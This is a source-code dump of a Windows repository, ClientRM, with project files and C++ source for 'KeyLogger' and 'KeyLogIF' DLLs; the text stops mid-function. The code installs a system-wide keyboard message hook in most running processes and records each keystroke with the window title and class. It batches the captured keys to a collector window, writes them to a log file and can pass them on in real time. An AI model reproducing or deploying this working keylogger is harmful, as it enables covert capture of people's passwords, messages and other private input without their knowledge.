WIN32;NDEBUG;_WINDOWS;_USRDLL;KEYLOGIF_EXPORTS;%(PreprocessorDefinitions) 74 | MultiThreadedDLL 75 | true 76 | 77 | 78 | Level3 79 | ProgramDatabase 80 | 81 | 82 | ..\..\..\Release\$(ProjectName).dll 83 | true 84 | Windows 85 | true 86 | true 87 | MachineX86 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | {88efc57b-6298-47ed-bacb-c9fd01e15534} 103 | false 104 | 105 | 106 | 107 | 108 | 109 | -------------------------------------------------------------------------------- /ClientRM/KeyLogIF/KeyLogIF/KeyLogIF.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | -------------------------------------------------------------------------------- /ClientRM/KeyLogIF/KeyLogIF/SleepTimer.cpp: -------------------------------------------------------------------------------- 1 | //** Running in the SleepTimer Thread. 2 | 3 | #include "..\..\..\Include\Keylog.h" 4 | 5 | extern CRITICAL_SECTION csSleepTimer; 6 | extern BOOL fExitKLLogFileUpdate; 7 | extern DWORD dwSleepTimerVal; 8 | extern HANDLE hUpdateLogFileEvent; 9 | 10 | DWORD WINAPI SleepTimer() { 11 | BOOL dwSleepTimerValCopy = FALSE; 12 | 13 | while (fExitKLLogFileUpdate != TRUE) { 14 | EnterCriticalSection(&csSleepTimer); 15 | 16 | dwSleepTimerValCopy = dwSleepTimerVal; 17 | 18 | LeaveCriticalSection(&csSleepTimer); 19 | 20 | Sleep(dwSleepTimerValCopy); 21 | SetEvent(hUpdateLogFileEvent); 22 | } 23 | 24 | return TRUE; 25 | } 26 | -------------------------------------------------------------------------------- /ClientRM/KeyLogIF/KeyLogIF/UpdateLogFile.cpp: -------------------------------------------------------------------------------- 1 | //** Running in the UpadatLogFile Thread. 2 | 3 | #include "..\..\..\Include\Keylog.h" 4 | 5 | extern KLIFLINKLIST *pRoot; 6 | extern HANDLE hUpdateLogFileEvent; 7 | extern WCHAR LogFilePath[MAX_PATH + 1]; 8 | 9 | extern BOOL fExitKLLogFileUpdate; 10 | extern BOOL fRealTime; 11 | 12 | extern PDATA *pMyPData; 13 | 14 | extern CRITICAL_SECTION csSleepTimer; 15 | extern CRITICAL_SECTION csKLTree; // init?? 16 | 17 | DWORD WINAPI UpdateLogFile() { 18 | DWORD dwRetVal = 0; 19 | BOOL FuncRetVal = FALSE; 20 | 21 | hUpdateLogFileEvent = CreateEvent(NULL, TRUE, FALSE, L"UpdateLogFile"); 22 | if (hUpdateLogFileEvent == NULL) 23 | return FALSE; 24 | 25 | while (fExitKLLogFileUpdate != TRUE) { 26 | dwRetVal = WaitForSingleObject(hUpdateLogFileEvent, 1000); 27 | if (fExitKLLogFileUpdate != TRUE && dwRetVal == WAIT_OBJECT_0) { 28 | FuncRetVal = CopyTreeData(); 29 | ResetEvent(hUpdateLogFileEvent); 30 | } 31 | } 32 | 33 | return CloseHandle(hUpdateLogFileEvent); 34 | } 35 | 36 | BOOL CopyTreeData() { 37 | KLIFLINKLIST *pCurProcessNode = NULL; 38 | KLIFLINKLIST *pCurNode = NULL; 39 | LOGFILEDATA *pTempLogFileData; 40 | // access violation writing location 41 | EnterCriticalSection(&csKLTree); 42 | 43 | pCurProcessNode = pRoot; 44 | while (pCurProcessNode != NULL) // for each sibling 45 | { 46 | pCurNode = pCurProcessNode; 47 | while (pCurNode != NULL) // for each nextlink 48 | { 49 | if (pCurNode->KeyCount == 0) { 50 | //if( fRealTime == TRUE ) 51 | //{ 52 | // ;// send a message that ther is no data.. 53 | //} 54 | pCurNode = pCurNode->pNextLink; 55 | continue; 56 | } 57 | 58 | pTempLogFileData = (LOGFILEDATA *)malloc(sizeof(LOGFILEDATA)); 59 | if (pTempLogFileData == NULL) { 60 | LeaveCriticalSection(&csKLTree); 61 | return FALSE; 62 | } 63 | 64 | pTempLogFileData->KeyCount = pCurNode->KeyCount; 65 | wcscpy_s(pTempLogFileData->Keys, MAX_KLIF_KEYS, pCurNode->Keys); 66 | pTempLogFileData->KeysBufferLength = pCurNode->KeysBufferLength; 67 | pTempLogFileData->WndCount = pCurNode->WndCount; 68 | memcpy(pTempLogFileData->KLWndData, pCurNode->KLWndData, (sizeof(KLWNDDATA) * MAX_WND_LIST)); 69 | memcpy(&pTempLogFileData->ProcessData, &pCurNode->ProcessData, sizeof(KLPROCESSDATA)); 70 | 71 | WriteToLogFile(pTempLogFileData); 72 | if (fRealTime == TRUE) 73 | SendRealTimeData(pTempLogFileData); 74 | 75 | // reset 76 | pCurNode->KeyCount = 0; 77 | wcscpy_s(pCurNode->Keys, MAX_KLIF_KEYS, L""); 78 | pCurNode->KeysBufferLength = 0; 79 | 80 | pCurNode = pCurNode->pNextLink; 81 | } 82 | 83 | pCurProcessNode = pCurProcessNode->pSiblingLink; 84 | } 85 | 86 | LeaveCriticalSection(&csKLTree); 87 | 88 | return TRUE; 89 | } 90 | 91 | BOOL WriteToLogFile(LOGFILEDATA *pTempLogFileData) { 92 | FILE *fpLogFile = NULL; 93 | int iFileRet = -1; 94 | 95 | iFileRet = _wfopen_s(&fpLogFile, LogFilePath, L"ab"); 96 | if (iFileRet != 0) 97 | return FALSE; 98 | 99 | fwrite(pTempLogFileData, sizeof(LOGFILEDATA), 1, fpLogFile); 100 | 101 | if (fpLogFile) 102 | fclose(fpLogFile); 103 | 104 | return TRUE; 105 | } 106 | 107 | BOOL SendRealTimeData(LOGFILEDATA *pTempLogFileData) { 108 | HANDLE hIFDataReadyEvent = NULL; 109 | int iRetVal = 0; 110 | 111 | // allocate memory for PDATA 112 | if ((pMyPData = (PDATA*)malloc(sizeof(PDATA))) == NULL) 113 | return FALSE; 114 | memset(pMyPData, 0, sizeof(PDATA)); 115 | 116 | // construct the PDATA structure and send it 117 | pMyPData->iMessage = KLM_RT_KEYS; 118 | pMyPData->PluginID = KEYLOGGER; 119 | memcpy(&pMyPData->PDataType.KLRTData, pTempLogFileData, sizeof(LOGFILEDATA)); 120 | 121 | hIFDataReadyEvent = CreateEvent(NULL, TRUE, FALSE, EVENT_IF_DATA_READY); 122 | if (hIFDataReadyEvent == NULL) { 123 | iRetVal = GetLastError(); 124 | return FALSE; 125 | } else if (GetLastError() == ERROR_ALREADY_EXISTS) 126 | SetEvent(hIFDataReadyEvent); 127 | 128 | return TRUE; 129 | } 130 | -------------------------------------------------------------------------------- /ClientRM/KeyLogger/KeyLogger/DLLMain.cpp: -------------------------------------------------------------------------------- 1 | //* Running in the Main Thread. 2 | 3 | #include "..\..\..\Include\Keylog.h" 4 | 5 | BOOL bKLExitReadConfigThread; 6 | BOOL fMonitorApp; // flag to indicate whether the present application should be monitored or not 7 | WCHAR wszConfigFilePath[MAX_PATH + 1]; // path of the configuration file 8 | 9 | HINSTANCE hInstance; 10 | 11 | extern HANDLE hConfigChangeEvent; // created by KLIF 12 | 13 | extern CRITICAL_SECTION csAppInit; 14 | extern CRITICAL_SECTION csLinkList; 15 | 16 | #pragma data_seg( "SharedSegment" ) 17 | 18 | HHOOK hWndHook = NULL; 19 | BOOL fHookFlag = FALSE; //flag indicating whether dll is hooked to all the applications or not 20 | WCHAR CurrentDirectory[MAX_PATH + 1] = {0}; 21 | 22 | BOOL bKLExitAllReadConfigThread = FALSE; 23 | 24 | #pragma data_seg() 25 | #pragma comment ( linker, "/SECTION:SharedSegment,RWS" ) 26 | 27 | BOOLEAN WINAPI DllMain( HINSTANCE hDllHandle, DWORD nReason, LPVOID Reserved ) 28 | { 29 | switch( nReason ) 30 | { 31 | case DLL_PROCESS_ATTACH : 32 | { 33 | InitializeCriticalSection(&csAppInit); 34 | InitializeCriticalSection(&csLinkList); 35 | break; 36 | } 37 | 38 | case DLL_THREAD_ATTACH : 39 | break; 40 | 41 | case DLL_THREAD_DETACH : 42 | break; 43 | 44 | case DLL_PROCESS_DETACH : // called when window closes 45 | { 46 | bKLExitReadConfigThread = TRUE; 47 | StartTransfer(); 48 | 49 | DeleteCriticalSection( &csLinkList ); 50 | DeleteCriticalSection( &csAppInit ); 51 | break; 52 | } 53 | } 54 | 55 | hInstance = (HINSTANCE) hDllHandle; 56 | 57 | return TRUE; 58 | } 59 | 60 | BOOL InstallKLHook( WCHAR *CPMDirectory ) 61 | { 62 | hWndHook = SetWindowsHookEx( WH_GETMESSAGE, (HOOKPROC)KLGetMsgProc, (HINSTANCE)hInstance, 0 ); 63 | if( hWndHook == NULL ) 64 | return FALSE; 65 | 66 | fHookFlag = TRUE; 67 | wcscpy_s( CurrentDirectory, MAX_PATH, CPMDirectory ); 68 | 69 | return TRUE; 70 | } 71 | 72 | BOOL RemoveKLHook() 73 | { 74 | bKLExitAllReadConfigThread = TRUE; 75 | 76 | if( hWndHook ) 77 | { 78 | UnhookWindowsHookEx( hWndHook ); 79 | hWndHook = NULL; 80 | } 81 | return TRUE; // FALSE? 82 | } 83 | 84 | LRESULT CALLBACK KLGetMsgProc( int nCode, WPARAM wParam, LPARAM lParam ) 85 | { 86 | unsigned int VirtualKey = 0; 87 | static DWORD KeyUpTime = 0; 88 | static DWORD KeyDownTime = 0; 89 | static DWORD dwMinuteTimer = -1; 90 | 91 | BOOL fEvent = FALSE; 92 | BOOL FuncRetVal = FALSE; 93 | 94 | if( nCode == HC_ACTION ) 95 | { 96 | MSG *pMsg = (MSG*) lParam; 97 | 98 | switch( pMsg->message ) 99 | { 100 | case WM_KEYUP: 101 | { 102 | if( KeyUpTime == pMsg->time ) 103 | break; 104 | 105 | VirtualKey = pMsg->wParam; 106 | 107 | if ( (VirtualKey == VK_HOME || VirtualKey == VK_END) 108 | || (VirtualKey == VK_SHIFT) 109 | || (VirtualKey == VK_ESCAPE || VirtualKey == VK_CANCEL) 110 | || (VirtualKey == VK_LWIN || VirtualKey == VK_RWIN || VirtualKey == VK_APPS) ) 111 | { 112 | if( NeverHookThisProcess() == TRUE ) 113 | break; 114 | if( InitProcess() == FALSE ) 115 | break; 116 | if( fMonitorApp == FALSE ) 117 | break; 118 | 119 | FuncRetVal = ProcessKey( UP, pMsg->hwnd, pMsg->wParam, pMsg->lParam ); 120 | if( FuncRetVal == FALSE ) 121 | break; 122 | 123 | KeyUpTime = pMsg->time; 124 | } 125 | break; 126 | }// End of case WM_KEYUP 127 | 128 | case WM_KEYDOWN: 129 | { 130 | if(KeyDownTime == pMsg->time) 131 | break; 132 | 133 | VirtualKey = pMsg->wParam; 134 | 135 | if ( (VirtualKey == VK_PRIOR || VirtualKey == VK_NEXT) 136 | || (VirtualKey == VK_LEFT || VirtualKey == VK_UP || VirtualKey == VK_RIGHT || VirtualKey == VK_DOWN) 137 | || (VirtualKey == VK_INSERT || VirtualKey == VK_DELETE) 138 | || (VirtualKey == VK_BACK || VirtualKey == VK_TAB || VirtualKey == VK_SPACE || VirtualKey == VK_RETURN) 139 | || (VirtualKey >= 0X70 && VirtualKey <= 0X7B) // Function Keys F1 - F12 140 | || (VirtualKey >= 0X30 && VirtualKey <= 0X5A) // 0-9 . . A-Z 141 | || (VirtualKey >= 0xBA && VirtualKey <= 0xC0) // :; += <, _- >. ?/ ~` 142 | || (VirtualKey >= 0XDB && VirtualKey <= 0XDE) // {[ |\ }] '" 143 | || (VirtualKey >= 0X60 && VirtualKey <= 0X6F) // NUM 144 | || (VirtualKey == VK_SHIFT) ) 145 | { 146 | if( NeverHookThisProcess() == TRUE ) 147 | break; 148 | if( InitProcess() == FALSE ) 149 | break; 150 | if( fMonitorApp == FALSE ) 151 | break; 152 | 153 | FuncRetVal = ProcessKey( DOWN, pMsg->hwnd, pMsg->wParam, pMsg->lParam ); 154 | if( FuncRetVal == FALSE ) 155 | break; 156 | 157 | KeyDownTime = pMsg->time; 158 | } 159 | 160 | break; 161 | }// End of case WM_KEYDOWN 162 | 163 | } // End of switch( pMsg->message ) 164 | } // End of if( Code == HC_ACTION ) 165 | 166 | return CallNextHookEx( hWndHook, nCode, wParam, lParam ); 167 | } 168 | 169 | // This function is used for making sure that hook doesnt happen to certain applications 170 | BOOL NeverHookThisProcess() 171 | { 172 | WCHAR wszFilePath[MAX_PATH + 1]; 173 | WCHAR *pDestFile = NULL; 174 | int nRetPath; 175 | 176 | // List of application to which hooking should not be done 177 | WCHAR *pIgnoreList[10] = { L"devenv.exe", L"explorer.exe", L"serverrm.exe", L"clientrm.exe", NULL }; 178 | 179 | nRetPath = GetModuleFileName(NULL, wszFilePath, MAX_PATH); // Getting the .exe file path of the application 180 | if (nRetPath == 0) 181 | return FALSE; 182 | 183 | for (int Index = 0; pIgnoreList[Index] != NULL; Index++) 184 | { 185 | pDestFile = StrStrI(wszFilePath, pIgnoreList[Index]); // Comparing file path with the each of the application in ignore list 186 | if (pDestFile) 187 | return TRUE; 188 | } 189 | return FALSE; 190 | } 191 | -------------------------------------------------------------------------------- /ClientRM/KeyLogger/KeyLogger/DataTransfer.cpp: -------------------------------------------------------------------------------- 1 | //* Running in DataTransfer Thread. 2 | 3 | #include "..\..\..\Include\Keylog.h" 4 | 5 | extern CRITICAL_SECTION csLinkList; 6 | extern HINSTANCE hInstance; 7 | extern KLTEMPDATA *pStartNode; 8 | extern BOOL bKLExitReadConfigThread; 9 | 10 | #pragma data_seg( "SharedSegment" ) 11 | extern BOOL bKLExitAllReadConfigThread; 12 | #pragma data_seg() 13 | #pragma comment ( linker, "/SECTION:SharedSegment,RWS" ) 14 | 15 | DWORD WINAPI TransferLinkListData(LPVOID lParam) 16 | { 17 | HMODULE hMod = NULL; 18 | if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCWSTR)TransferLinkListData, &hMod)) 19 | { 20 | return GetLastError(); 21 | } 22 | 23 | while (bKLExitAllReadConfigThread != TRUE && bKLExitReadConfigThread != TRUE) 24 | { 25 | // send data to KLIF after every 20 seconds.. 26 | Sleep(20000); 27 | if (bKLExitAllReadConfigThread != TRUE && bKLExitReadConfigThread != TRUE) 28 | StartTransfer(); 29 | } 30 | 31 | FreeLibraryAndExitThread(hMod, ERROR_SUCCESS); 32 | return ERROR_SUCCESS; // unreachable code 33 | } 34 | 35 | BOOL StartTransfer() 36 | { 37 | KLTEMPDATA *pCurNode = NULL; 38 | COPYDATASTRUCT cdsLinkList; 39 | HRESULT hResult = 0; 40 | 41 | HWND hKLIFWnd = NULL; 42 | hKLIFWnd = FindWindowEx(HWND_MESSAGE, NULL, KLIF_WND_CLASS_NAME, KLIF_WND_TITLE); 43 | if (hKLIFWnd == NULL) 44 | return FALSE; 45 | 46 | EnterCriticalSection(&csLinkList); 47 | 48 | pCurNode = pStartNode; 49 | 50 | while (pCurNode != NULL) 51 | { 52 | if (pCurNode->KeyCount == 0) 53 | { 54 | pCurNode = pCurNode->pNextLink; 55 | continue; 56 | } 57 | 58 | cdsLinkList.dwData = KL_TEMP_LINKLIST_DATA; 59 | cdsLinkList.cbData = sizeof(KLTEMPDATA); 60 | cdsLinkList.lpData = pCurNode; 61 | 62 | hResult = SendMessage(hKLIFWnd, WM_COPYDATA, (WPARAM)(HWND)hInstance, (LPARAM)(LPVOID)&cdsLinkList); 63 | 64 | pCurNode->KeyCount = 0; // reset 65 | pCurNode->KeysBufferLength = 0; // reset 66 | wcscpy_s(pCurNode->Keys, MAX_KL_KEYS, L""); // reset 67 | 68 | pCurNode = pCurNode->pNextLink; 69 | } 70 | 71 | LeaveCriticalSection(&csLinkList); 72 | 73 | return TRUE; 74 | } 75 | -------------------------------------------------------------------------------- /ClientRM/KeyLogger/KeyLogger/Initialization.cpp: -------------------------------------------------------------------------------- 1 | //* Running in the Main Thread. 2 | 3 | #include "..\..\..\Include\Keylog.h" 4 | 5 | KLPROCESSDATA TempProcessData; 6 | DWORD dataTransferThreadID; 7 | HANDLE lpDataTransferThread; 8 | 9 | HANDLE hReadNewConfigThread; // handle of the InitHookProc thread(hInitThread) and ReadKLConfigThread thread(hReadNewConfigThread) 10 | 11 | DWORD dwThreadID; 12 | DWORD dwRCThreadID; // Thread IDs of the InitHookProc and ReadKLConfigThread threads 13 | 14 | CRITICAL_SECTION csAppInit; 15 | CRITICAL_SECTION csLinkList; 16 | 17 | BOOL fInitDone; // flag to indicate whether initialization is done or not 18 | 19 | extern BOOL fMonitorApp; // flag to indicate whether the present application should be monitored or not 20 | extern WCHAR wszConfigFilePath[MAX_PATH + 1]; // path of the configuration file 21 | 22 | #pragma data_seg( "SharedSegment" ) 23 | extern WCHAR CurrentDirectory[MAX_PATH + 1]; 24 | #pragma data_seg() 25 | #pragma comment ( linker, "/SECTION:SharedSegment,RWS" ) 26 | 27 | BOOL InitProcess() 28 | { 29 | __try 30 | { 31 | EnterCriticalSection(&csAppInit); 32 | if (fInitDone == FALSE) 33 | { 34 | lpDataTransferThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TransferLinkListData, NULL, 0, &dataTransferThreadID); 35 | if (lpDataTransferThread == NULL) 36 | return FALSE; 37 | 38 | BOOL funcRetVal = ReadKLConfig(); 39 | if (funcRetVal == FALSE) 40 | return FALSE; 41 | 42 | hReadNewConfigThread = CreateThread(NULL, 0, ReadNewKLConfiguration, NULL, 0, &dwRCThreadID); 43 | if (hReadNewConfigThread == NULL) 44 | return FALSE; 45 | } 46 | } 47 | __finally 48 | { 49 | LeaveCriticalSection(&csAppInit); 50 | } 51 | return TRUE; 52 | } 53 | 54 | BOOL ReadKLConfig() 55 | { 56 | WCHAR wszFilePath[MAX_PATH + 1]; 57 | WCHAR *pdest = NULL; 58 | 59 | int Index = 0; 60 | DWORD dwRetPath; 61 | 62 | KLCONFIG KLConfig; 63 | 64 | FILE *fpConfig = NULL; 65 | 66 | errno_t iError; 67 | 68 | __try 69 | { 70 | dwRetPath = GetModuleFileName(NULL, wszFilePath, MAX_PATH); 71 | if (dwRetPath == 0) 72 | return FALSE; 73 | 74 | //_wcslwr_s( wszFilePath, MAX_PATH ); 75 | wsprintf(wszConfigFilePath, L"%s\\%s\\KLConfig.conf", CurrentDirectory, FP_KL_DIR); 76 | 77 | iError = _wfopen_s(&fpConfig, wszConfigFilePath, L"rb"); 78 | if (iError != 0) 79 | { 80 | OutputDebugString(L"Config file not found"); 81 | return FALSE; 82 | } 83 | 84 | fread(&KLConfig, sizeof(KLCONFIG), 1, fpConfig); 85 | 86 | for (Index = 0; Index < KLConfig.nApps; Index++) 87 | { 88 | //pdest = wcsstr( wszFilePath, KLConfig.AppList[Index] ); 89 | pdest = StrStrI(wszFilePath, KLConfig.AppList[Index]); 90 | if (pdest == NULL) 91 | continue; 92 | 93 | wcscpy_s(TempProcessData.wszEXEName, MAX_FILE_NAME, KLConfig.AppList[Index]); 94 | GetLocalTime(&TempProcessData.stStartTime); 95 | 96 | fMonitorApp = TRUE; 97 | break; 98 | }// for 99 | 100 | fInitDone = TRUE; 101 | 102 | return TRUE; 103 | } 104 | __finally 105 | { 106 | if (fpConfig != NULL) 107 | fclose(fpConfig); 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /ClientRM/KeyLogger/KeyLogger/KLTempLinkList.cpp: -------------------------------------------------------------------------------- 1 | //* Running in the Main Thread. 2 | 3 | #include "..\..\..\Include\Keylog.h" 4 | 5 | KLTEMPDATA *pStartNode; 6 | extern KLPROCESSDATA TempProcessData; 7 | 8 | extern CRITICAL_SECTION csLinkList; 9 | 10 | BOOL BuildTempLinkList(HWND hWnd, WCHAR *KeyPressed) { 11 | BOOL fHandleMatch = FALSE; 12 | BOOL fEvent = FALSE; 13 | 14 | int Index = 0; 15 | int iRetVal = 0; 16 | DWORD ThreadRetVal = -1; 17 | BOOL FuncRetVal = FALSE; 18 | KLTEMPDATA *pKLTempData = NULL; 19 | 20 | if ((pKLTempData = (KLTEMPDATA*)malloc(sizeof(KLTEMPDATA))) == NULL) 21 | return FALSE; 22 | pKLTempData->pNextLink = NULL; 23 | 24 | __try { 25 | iRetVal = wcscpy_s(pKLTempData->Keys, MAX_KEY_NAME, KeyPressed); 26 | pKLTempData->KeysBufferLength = wcslen(pKLTempData->Keys); 27 | pKLTempData->KeyCount = 1; 28 | 29 | FuncRetVal = QueryHandleHierarchy(hWnd, pKLTempData); 30 | if (FuncRetVal == FALSE) 31 | return FALSE; 32 | 33 | EnterCriticalSection(&csLinkList); 34 | 35 | if (pStartNode == NULL) { 36 | FuncRetVal = AddNewNode(pKLTempData); 37 | if (FuncRetVal == FALSE) 38 | return FALSE; 39 | 40 | pStartNode = pKLTempData; 41 | 42 | return TRUE; 43 | } 44 | 45 | KLTEMPDATA *pCurNode = pStartNode; 46 | 47 | do { 48 | if ((pKLTempData->WndCount == pCurNode->WndCount) && (pCurNode->KeysBufferLength <= (MAX_KL_KEYS - pKLTempData->KeysBufferLength))) // check WndCount == 1 49 | { 50 | Index = pKLTempData->WndCount; 51 | if (pKLTempData->KLWndData[Index - 1].hWnd == pCurNode->KLWndData[Index - 1].hWnd) { 52 | fHandleMatch = TRUE; 53 | // Append Keys 54 | wcscat_s(pCurNode->Keys, MAX_KL_KEYS, pKLTempData->Keys); 55 | pCurNode->KeysBufferLength = wcslen(pCurNode->Keys); 56 | pCurNode->KeyCount++; 57 | 58 | free(pKLTempData); // Node not appended, keys are appended ! 59 | return TRUE; 60 | } 61 | } 62 | pCurNode = pCurNode->pNextLink; 63 | } while (pCurNode != NULL); 64 | 65 | if (fHandleMatch == FALSE) { 66 | FuncRetVal = AddNewNode(pKLTempData); 67 | if (FuncRetVal == FALSE) 68 | return FALSE; 69 | 70 | pCurNode = pStartNode; 71 | while (pCurNode->pNextLink != NULL) 72 | pCurNode = pCurNode->pNextLink; 73 | 74 | pCurNode->pNextLink = pKLTempData; 75 | } 76 | 77 | return TRUE; 78 | } 79 | __finally { 80 | LeaveCriticalSection(&csLinkList); 81 | 82 | if ((FuncRetVal == FALSE) && pKLTempData) 83 | free(pKLTempData); 84 | } 85 | } 86 | 87 | BOOL QueryHandleHierarchy(HWND hWnd, KLTEMPDATA *pKLTempData) { 88 | int Index = 0; 89 | 90 | HWND hParent = NULL; 91 | HWND hRoot = NULL; 92 | HWND hRootParent = NULL; 93 | 94 | hRoot = GetAncestor(hWnd, GA_ROOT); 95 | hRootParent = GetAncestor(hRoot, GA_PARENT); 96 | 97 | pKLTempData->KLWndData[Index].hWnd = hWnd; 98 | pKLTempData->WndCount = 1; 99 | 100 | hParent = GetAncestor(pKLTempData->KLWndData[Index].hWnd, GA_PARENT); 101 | Index++; 102 | 103 | while (hParent != hRootParent && pKLTempData->WndCount <= MAX_WND_LIST) { 104 | pKLTempData->KLWndData[Index].hWnd = hParent; 105 | pKLTempData->WndCount++; 106 | 107 | hParent = GetAncestor(pKLTempData->KLWndData[Index].hWnd, GA_PARENT); 108 | Index++; 109 | } 110 | return TRUE; 111 | } 112 | 113 | BOOL AddNewNode(KLTEMPDATA *pKLTempData) { 114 | BOOL FuncRetVal = FALSE; 115 | KLTEMPDATA *pCurNode = pStartNode; 116 | 117 | FuncRetVal = FillKLWindowData(pKLTempData); 118 | if (FuncRetVal == FALSE) 119 | return FALSE; 120 | 121 | memcpy(&pKLTempData->ProcessData, &TempProcessData, sizeof(KLPROCESSDATA)); 122 | 123 | return TRUE; 124 | } 125 | 126 | BOOL FillKLWindowData(KLTEMPDATA *pKLTempData) { 127 | int Index = 0; 128 | int iRetVal = 0; 129 | 130 | for (Index = 0; Index <= pKLTempData->WndCount - 1; Index++) { 131 | iRetVal = GetWindowText(pKLTempData->KLWndData[Index].hWnd, pKLTempData->KLWndData[Index].wszWndTitle, MAX_WND_TITLE); 132 | if (iRetVal == 0) { 133 | iRetVal = GetLastError(); 134 | if (iRetVal == 0) 135 | wcscpy_s(pKLTempData->KLWndData[Index].wszWndTitle, MAX_WND_TITLE, L"NO WINDOW TITLE"); 136 | else 137 | return FALSE; 138 | } 139 | 140 | iRetVal = GetClassName(pKLTempData->KLWndData[Index].hWnd, pKLTempData->KLWndData[Index].wszClassName, MAX_CLASS_NAME); 141 | if (iRetVal == 0) { 142 | iRetVal = GetLastError(); 143 | if (iRetVal == 0) 144 | wcscpy_s(pKLTempData->KLWndData[Index].wszClassName, MAX_CLASS_NAME, L"NO CLASS NAME"); 145 | else 146 | return FALSE; 147 | } 148 | } 149 | 150 | return TRUE; 151 | } 152 | -------------------------------------------------------------------------------- /ClientRM/KeyLogger/KeyLogger/KeyLogger.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 16 | 17 | 18 | 19 | 26 | 29 | 32 | 35 | 38 | 41 | 52 | 55 | 58 | 61 | 70 | 73 | 76 | 79 | 82 | 85 | 88 | 91 | 92 | 100 | 103 | 106 | 109 | 112 | 115 | 126 | 129 | 132 | 135 | 146 | 149 | 152 | 155 | 158 | 161 | 164 | 167 | 168 | 169 | 170 | 171 | 172 | 177 | 180 | 181 | 184 | 185 | 188 | 189 | 192 | 193 | 196 | 197 | 200 | 201 | 202 | 207 | 210 | 211 | 212 | 217 | 218 | 219 | 220 | 221 | 222 | -------------------------------------------------------------------------------- /ClientRM/KeyLogger/KeyLogger/KeyLogger.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {88EFC57B-6298-47ED-BACB-C9FD01E15534} 15 | KeyLogger 16 | Win32Proj 17 | 10.0.16299.0 18 | 19 | 20 | 21 | DynamicLibrary 22 | Unicode 23 | true 24 | v141 25 | 26 | 27 | DynamicLibrary 28 | Unicode 29 | v141 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | <_ProjectFileVersion>10.0.30319.1 43 | $(SolutionDir)$(Configuration)\ 44 | $(Configuration)\ 45 | true 46 | $(SolutionDir)$(Configuration)\ 47 | $(Configuration)\ 48 | false 49 | 50 | 51 | 52 | Disabled 53 | WIN32;_DEBUG;_WINDOWS;_USRDLL;KEYLOGGER_EXPORTS;%(PreprocessorDefinitions) 54 | true 55 | EnableFastChecks 56 | MultiThreadedDebugDLL 57 | 58 | 59 | Level3 60 | EditAndContinue 61 | 62 | 63 | Psapi.lib;shlwapi.lib;%(AdditionalDependencies) 64 | ..\..\..\Debug\$(ProjectName).dll 65 | true 66 | Windows 67 | MachineX86 68 | 69 | 70 | 71 | 72 | MaxSpeed 73 | true 74 | WIN32;NDEBUG;_WINDOWS;_USRDLL;KEYLOGGER_EXPORTS;%(PreprocessorDefinitions) 75 | MultiThreadedDLL 76 | true 77 | 78 | 79 | Level3 80 | ProgramDatabase 81 | 82 | 83 | Psapi.lib;shlwapi.lib;%(AdditionalDependencies) 84 | ..\..\..\Release\$(ProjectName).dll 85 | true 86 | Windows 87 | true 88 | true 89 | MachineX86 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | -------------------------------------------------------------------------------- /ClientRM/KeyLogger/KeyLogger/KeyLogger.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Header Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /ClientRM/KeyLogger/KeyLogger/ProcessKey.cpp: -------------------------------------------------------------------------------- 1 | //* Running in the Main Thread. 2 | 3 | #include "..\..\..\Include\Keylog.h" 4 | 5 | #define CTRL_A 1 6 | #define CTRL_Z 26 7 | #define KEYBOARD_STATE 256 8 | 9 | BOOL ProcessKey(BOOL Type, HWND hWnd, WPARAM wParam, LPARAM lParam) { 10 | BYTE KeyBoardState[KEYBOARD_STATE]; 11 | BOOL fRetVal = FALSE; 12 | BOOL FuncRetVal = FALSE; 13 | UINT ScanCode = 0; 14 | 15 | static WCHAR PrevKey[MAX_KEY_NAME] = { 0 }; 16 | 17 | WCHAR TempBuffer[MAX_KEY_NAME] = { 0 }; 18 | WCHAR TempBufferCopy[4] = { 0 }; 19 | 20 | WCHAR CtrlChar[MAX_KEY_NAME] = L" [CTRL+"; 21 | WCHAR CtrlEnd[2] = L"]"; 22 | 23 | unsigned char TempC = (char)wParam; 24 | int iRetVal = 0; 25 | 26 | switch (wParam) { 27 | //WM_KEYUP 28 | 29 | case VK_HOME: 30 | wcscpy_s(TempBuffer, MAX_KEY_NAME, L" [HOME]"); 31 | break; 32 | 33 | case VK_END: 34 | wcscpy_s(TempBuffer, 